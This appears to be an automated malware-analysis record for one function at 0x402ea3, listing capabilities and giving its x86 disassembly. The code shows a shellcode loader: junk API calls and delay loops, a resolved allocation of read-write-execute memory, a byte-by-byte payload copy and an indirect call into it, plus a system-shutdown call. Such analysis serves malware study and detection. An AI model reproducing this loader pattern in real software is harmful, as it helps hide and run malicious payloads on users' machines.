Function at 0x402ea3
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk information
Move file
Read file on windows
Shutdown system

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc2c
cmp dword [0x431b78], 0x5b1
push ebx
push esi
push edi
jne 0x402f6e
xor esi, esi
push esi
lea eax, [ebp - 0x428]
push eax
push esi
push 0x40277c
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
push esi
push esi
push 0x4027a4
call dword [sym.imp.USER32.dll_CreateWindowStationA]
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeDisplaySettingsA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push esi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
push esi
push 0x4027c8
push 0x4027f8
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push esi
push esi
call dword [sym.imp.ole32.dll_CoMarshalHresult]
push esi
call fcn.00403baf
pop ecx
push esi
push esi
push esi
push esi
call fcn.004039f5
pop ecx
pop ecx
mov eax, esp
mov dword [eax], esi
push ecx
mov dword [eax + 4], esi
push ecx
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00402b60
fstp st(0)
push esi
call fcn.0040360c
pop ecx
call fcn.004032ce
push esi
call fcn.0040373e
mov dword [esp], esi
call fcn.00402b93
fstp st(0)
push esi
call fcn.0040373e
pop ecx
call fcn.00403c1d
add dword [0x431b78], 0x1134b
push 0x40281c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x40282c
push eax
mov dword [0x430acc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40
push 0x1000
push dword [0x431b78]
xor esi, esi
push esi
mov dword [0x430ac4], eax
call eax
xor edi, edi
mov dword [0x430ac8], eax
cmp dword [0x431b78], esi
jbe 0x40300b
cmp dword [0x431b78], 0xa8
mov eax, dword [0x431b7c]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x430ac8]
mov byte [ecx + edi], al
jne 0x403002
push esi
lea eax, [ebp - 0x428]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push esi
lea eax, [ebp - 0x828]
push eax
push 0x40283c
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
inc edi
cmp edi, dword [0x431b78]
jb 0x402fba
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
mov dword [ebp - 4], esi
mov eax, dword [0x431b78]
mov ecx, dword [ebp - 4]
add eax, ecx
cmp eax, 0xe
jne 0x4030e1
push esi
call dword [sym.imp.KERNEL32.dll_RemoveVectoredExceptionHandler]
push 0x40284c
push 0x40285c
push 0x402884
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileSectionA]
push esi
push esi
push esi
push 0x4028b4
push 0x4028d8
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressA]
push esi
lea eax, [ebp - 0xc]
push eax
push esi
lea eax, [ebp - 0x828]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_InitiateSystemShutdownA]
push 0x402908
push esi
call dword [sym.imp.USER32.dll_LoadMenuW]
push esi
push esi
push esi
call ebx
lea eax, [ebp - 8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push esi
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
xor eax, eax
mov word [ebp - 0x20], ax
lea edi, [ebp - 0x1e]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push esi
stosw word es:[edi], ax
lea eax, [ebp - 0x428]
push eax
push 0x402948
lea eax, [ebp - 0x20]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDateFormatA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
push esi
push esi
lea eax, [ebp - 0x10]
push eax
call ebx
push 0x402978
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreW]
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x39621
jl 0x403014
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor ebx, ebx
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCommMask]
call edi
push esi
call dword [sym.imp.KERNEL32.dll_DebugActiveProcess]
cmp ebx, 0x206d47
jg 0x40311b
inc ebx
cmp ebx, 0x4f6a4
jl 0x4030f9
mov ebx, 0x4e320c
push esi
push esi
call dword [sym.imp.USER32.dll_LoadMenuW]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_CharToOemBuffW]
call dword [sym.imp.USER32.dll_GetMessagePos]
dec ebx
jne 0x403120
call fcn.00402e11
call edi
cmp ebx, 0x26
jne 0x40314b
call fcn.00402e89
inc ebx
cmp ebx, 0x6753f
jl 0x40313f
push 0x7b
pop edi
cmp dword [0x431b78], 0x86
jne 0x4031ab
push esi
lea eax, [ebp - 0xc28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
push 0x4029c8
push 0x402a0c
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelW]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileType]
push esi
push esi
push 0x402a18
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push 0x402a20
call dword [sym.imp.KERNEL32.dll_AddAtomA]
dec edi
jne 0x403157
call fcn.00402bd7
pop edi
pop esi
pop ebx
leave
ret